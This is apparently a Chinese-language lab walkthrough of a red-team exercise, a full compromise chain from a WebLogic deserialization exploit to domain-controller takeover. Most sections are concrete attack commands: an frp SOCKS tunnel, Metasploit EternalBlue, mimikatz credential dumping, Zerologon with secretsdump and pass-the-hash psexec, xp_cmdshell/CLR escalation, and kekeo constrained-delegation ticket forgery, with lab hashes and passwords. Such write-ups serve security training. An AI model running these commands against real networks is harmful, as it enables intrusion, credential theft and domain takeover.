内网靶场渗透实战教学文档
环境搭建
网络拓扑结构:
- Web服务器:
- 外网IP: 192.160.0.100
- 内网IP: 10.10.20.12
- 域内机器Win7:
- 内网IP: 10.10.20.7
- 内网IP: 10.10.10.7
- 域内服务器MSSQL:
- 内网IP: 10.10.10.18
- 域控机器:
- 内网IP: 10.10.10.8
外网渗透
1. 端口扫描
使用工具对目标192.168.0.100进行端口扫描,发现开放了7001端口(WebLogic默认端口)。
2. 目录扫描
对WebLogic进行目录扫描,发现管理登录口。
3. WebLogic漏洞利用
尝试弱口令登录失败后,发现目标存在CVE-2020-2551漏洞(WebLogic IIOP反序列化漏洞),使用漏洞利用工具成功获取权限。
关键点:
- 漏洞检测工具:WebLogic漏洞利用工具
- 漏洞编号:CVE-2020-2551
4. 出网探测
执行ping www.baidu.com确认目标机器可以出网。
5. 杀软识别
执行tasklist /svc查看进程,与常见杀软进程对比,确认无杀毒软件。
6. 上线Cobalt Strike
直接使用PowerShell命令上线Cobalt Strike。
内网渗透
1. 信息搜集
执行whoami /all或ipconfig /all发现存在双网卡。
2. 密码凭据抓取
使用hashdump获取本地管理员密码哈希:
- 用户名:Administrator
- NTLM哈希:ccef208c6485269c20db2cad21734fe7
- 通过cmd5解密得到明文密码:Admin12345
3. 横向移动
方法一:使用fscan扫描内网
- 上传fscan扫描10网段
- 发现10.10.20.7存在MS17-010(永恒之蓝)漏洞
方法二:使用Eternalblue
- 项目地址:https://github.com/0xFenrik/Eternalblue
- 直接上线CS失败,改用Metasploit
4. 隧道搭建
使用frp搭建socks5代理:
[common] # frpc配置
server_addr = VPS地址
server_port = 7000
[plugin_socks]
type = tcp
remote_port = 1080
plugin = socks5
[common] # frps配置
bind_addr =0.0.0.0
bind_port = 7000
5. 永恒之蓝MS17-010利用
使用Metasploit通过代理攻击:
msf6 > setg Proxies socks5:frps服务端IP:监听端口
msf6 > setg ReverseAllowProxy true
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 10.10.20.7
msf6 > run
或使用proxychains:
- 修改
/etc/proxychains.conf:socks5 127.0.0.1 1080 - 启动:
proxychains msfconsole
成功获取shell后,使用mimikatz执行creds_all获取账户密码:
- 域账户:redteam\saul
- 密码:admin!@#45
6. 中转上线
由于Win7不出网,使用跳板机器作为中转,新建监听器,通过psexec上线。
7. 内网扫描
扫描发现存活主机:
- 10.10.10.8
- 10.10.10.18
确认域环境:
net user /domain
8. 定位域控
net group "domain controllers" /domain
注:通常DNS服务器就是域控。
域控攻击
1. CVE-2020-1472(Zerologon)漏洞利用
影响版本:
- Windows Server 2008 R2 - 2019
利用步骤:
-
重置管理员密钥置空:
python3 cve-2020-1472-exploit.py OWA 10.10.10.8 -
通过Dcsync查看密码hash:
python secretsdump.py redteam.red/OWA$@10.10.10.8 -just-dc -no-pass -
使用psexec和hash获取域控权限:
python psexec.py administrator@10.10.10.8 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 -
恢复原始NT hash:
python reinstall_original_pw.py OWA 10.10.10.8 8623dc75ede3ca9ec11f2475b12ef96d
2. 约束委派接管域控
-
寻找约束委派用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto发现sqlserver机器具有约束委派权限。
-
扫描发现sqlserver为10.10.10.18:
fscan.exe -h 10.10.10.0/24发现弱口令:sa/sa
-
使用SharpSQLTools提权:
SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami获取sqlserver密码:redteam\sqlserver Server12345
-
约束委派攻击:
- 使用kekeo请求TGT:
kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" - 获取域机器的ST:
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" - 使用mimikatz导入ST:
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi - 成功获取域控权限
- 使用kekeo请求TGT:
工具与资源
- Eternalblue利用工具:https://github.com/0xFenrik/Eternalblue
- CVE-2020-1472利用工具:https://github.com/SecuraBV/CVE-2020-1472
- SharpSQLTools:https://github.com/uknowsec/SharpSQLTools/releases/tag/41
- kekeo:https://github.com/gentilkiwi/kekeo/releases
总结
本渗透测试从外网WebLogic漏洞入手,通过内网横向移动、永恒之蓝漏洞利用、约束委派攻击等多种技术手段,最终成功获取域控权限。整个过程涉及:
- 外网Web应用漏洞利用
- 内网信息收集与凭据窃取
- 横向移动技术
- 隧道搭建与代理使用
- 域环境攻击技术(Zerologon、约束委派)
- 多种工具的综合运用